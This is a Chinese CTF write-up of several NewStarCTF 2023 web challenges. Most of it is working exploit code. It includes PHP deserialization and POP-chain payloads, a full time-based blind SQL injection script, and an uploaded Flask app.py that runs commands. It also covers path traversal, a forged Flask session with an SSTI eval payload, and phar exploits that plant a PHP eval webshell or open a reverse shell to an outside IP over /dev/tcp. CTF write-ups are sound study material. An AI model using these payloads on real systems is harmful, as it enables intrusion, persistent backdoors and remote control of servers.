NewStarCTF 2023
复现了几道题,本来想留着寒假把剩下的 newstar 复现完的,结果由于各种原因没时间的,就先这样吧。
第四周
Web
逃
典型的反序列化字符串逃逸
首先,随便一个 key,假设为 123,序列化之后为
O:7:"GetFlag":2:{s:3:"key";s:7:"1231123";s:3:"cmd";s:6:"whoami";}
然后,据此写出我们想要的反序列化字符串
O:7:"GetFlag":2:{s:3:"key";s:n:" 长度为 n 的字符串 ";s:3:"cmd";s:2:"ls";}
于此,我们 x 会发现,我们准备逃逸以下字符
";s:3:"cmd";s:2:"ls";}
共计 22 个字符,因此我们在经过 waf 后,就需要多出来 22 个字符。
由于 bad 会变成 good,因此需要 22 个 bad,构造 payload 出来如下
badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}
据此原理,稍加修改,得到 flag
badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}
More Fast
简单的 pop 链,只不过需要提前触发__destruct 方法,最简单的就是在反序列化之后去掉最后的大括号。
绕过 flag 可以用 cat fla*
pop 链为:
Start:__destruct -> Crypto: __toString -> Reverse:__get -> Pwn:__invoke -> Web:evil
<?php
highlight_file(__FILE__);
class Start{public $errMsg;}
class Pwn{public $obj;}
class Reverse{public $func;}
class Web{
public $func;
public $var;
}
class Crypto{public $obj;}
class Misc{public function evil() {echo "good job but nothing";}
}
$payload=new Start();
$payload->errMsg=new Crypto();
$payload->errMsg->obj=new Reverse();
$payload->errMsg->obj->func=new Pwn();
$payload->errMsg->obj->func->obj=new Web();
$payload->errMsg->obj->func->obj->func="system";
$payload->errMsg->obj->func->obj->var="cat /fla*";
echo serialize(($payload));
#fast=O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:9:"cat /fla*";}}}}
midsql
经典的时间盲注。试了一下,过滤了空格和等号,分别用 /**/ 和 like 绕过。
然后写时间盲注的脚本即可
import requests
import time
# time.time()
url = "http://232def96-03fa-4b68-84c9-a94c8597830e.node4.buuoj.cn:81/"
def inject_database(url):
name = ''
for i in range(1,100000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1/**/and/**/if(ascii(substr((select/**/database()),%d,1))>%d,sleep(2),0)"%(i,mid)
params = {'id':payload}
start_time = time.time() # 注入前的系统时间
r = requests.get(url,params = params)
end_time = time.time() # 注入后的时间
if end_time - start_time > 2:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print (name)
def inject_table(url):
name = ''
for i in range(1,100000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'ctf'),%d,1))>%d,sleep(2),0)"%(i,mid)
params = {'id':payload}
start_time = time.time() # 注入前的系统时间
r = requests.get(url,params = params)
end_time = time.time() # 注入后的时间
if end_time - start_time > 2:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print (name)
def inject_column(url):
name = ''
for i in range(1,100000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'items'),%d,1))>%d,sleep(2),0)"%(i,mid)
params = {'id':payload}
start_time = time.time() # 注入前的系统时间
r = requests.get(url,params = params)
end_time = time.time() # 注入后的时间
if end_time - start_time > 2:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print (name)
def flag(url):
name = ''
for i in range(1,100000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1/**/and/**/if(ascii(substr((select/**/group_concat(name)/**/from/**/items/**/where/**/id/**/like/**/520),%d,1))>%d,sleep(1),0)"%(i,mid)
params = {'id':payload}
start_time = time.time() # 注入前的系统时间
r = requests.get(url,params = params)
end_time = time.time() # 注入后的时间
if end_time - start_time > 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
#if mid == 32:
# break
name = name + chr(mid)
print (name)
#inject_database(url) #database:ctf
#inject_table(url) #table:items
#inject_column(url) #columns:id,name,price
flag(url)
最后的结果在 name 里面
flaskdisk
题目存在三个链接,可以查看文件,上传文件,以及输入 pin 码
猜测或许可以上传文件实现 rce?
所以我们可以直接上传一个 app.py 覆盖之前的 app.py 从而实现 rce。
from flask import Flask,request
import os
app = Flask(__name__)
@app.route('/')
def index():
try:
cmd = request.args.get('cmd')
data = os.popen(cmd).read()
return data
except:
pass
return "1"
if __name__=='__main__':
app.run(host='0.0.0.0',port=5000,debug=True)
上传之后,直接传 cmd=cat /flag
即可
InjectMe
题目给了 dockerfile 的源码
收集信息,发现给出了 dockerfile 暂时还不知道干啥用,其次是可以查看图片,在其中一张图片中发现代码。
代码为 get 传入变量 file, 并将其中的../ 替换为空, 然后检查系统中是否存在该文件且文件名中是否含有 start。
很显然的目录穿越
题目中的替换仅仅替换了一次,所以很容易就可以绕过。
经过尝试,需要进行三次穿越,也就是../../../etc/passwd
因此 payload 为..././..././..././etc/passwd
因此我们可以查看 app 目录下的 app.py..././..././..././app/app.py
发现代码
观察后门部分代码
很容易发现需要伪造 session,然后打 ssti。然后发现 secret_key 是从 config 里面导入的,因此下载一下 config.py 看看。..././..././..././app/config.py
得到secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
然后我们就可以进行 session 伪造了。
然后接下来考虑 ssti
由于题目过滤了很多东西,因此我们可以尝试八进制绕过
首先 payload 为{x.__init__.__globals__.__getitem__.('__builtins__').__getitem__.('eval')('__import__("os").popen("ls /").read()')}
嫌麻烦,这里就不自己手打了。
然后,最终根据脚本伪造出来的 session 为:
.eJy1kD0OwjAMhe9iqVK7uYltJM6ShYGBBaFSpEqld6d26v7QDiwsVhK_9_k5Pbye1wbO0BeP5nZvy67r3pe2bcoEKdXx5IVrLeInoVUXqkMLmU-FbNegpfY3iT8SiH3eMtnemDeEnVnnCc_ZaYOxVf6UIatlte4-XQ5hQvQfkvD9swl57KKtkiVxuqICMG-xAHDOJRsvRQ-jeCRtsOHDAS84xRxEjholUFXFAMMHKM2ZMA.ZVd5wg.NN4PVUmSQiA6Ll-XV1SkJq_5b50
PharOne
打开之后是一个文件上传的题目
读源代码发现 class.php
很明显,这题是个 phar 反序列化的题目,但是因为是无回显 rce,所以考虑 shell 反弹或者写马。
首先构造 phar 文件, 此处尝试写马。
<?php
class Flag{public $cmd;}
$a=new Flag();
$a->cmd="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php";
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
测试发现,phar 文件被过滤了,那么上传一个 jpg 文件吧
上传 jpg 发现,__HALT_COMPILER()
被过滤,尝试 gzip 压缩绕过。
上传成功
在 class.php 使用 phar 伪协议读取上传的文件
file=phar://upload/f3ccdd27d2000e3f9255a7e3e2c48800.jpg
然后在生成的 1.php 处 rce 就行。
第二种方式就是写马,大致方式和上面一样,只是 exp 要改一改。
<?php
class Flag{public $cmd;}
$a=new Flag();
$a->cmd="bash -c 'bash -i >& /dev/tcp/43.138.81.44/2333 0>&1'";
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
额。。。好吧弹不出来了,但是方法是这样的,懒得找问题了。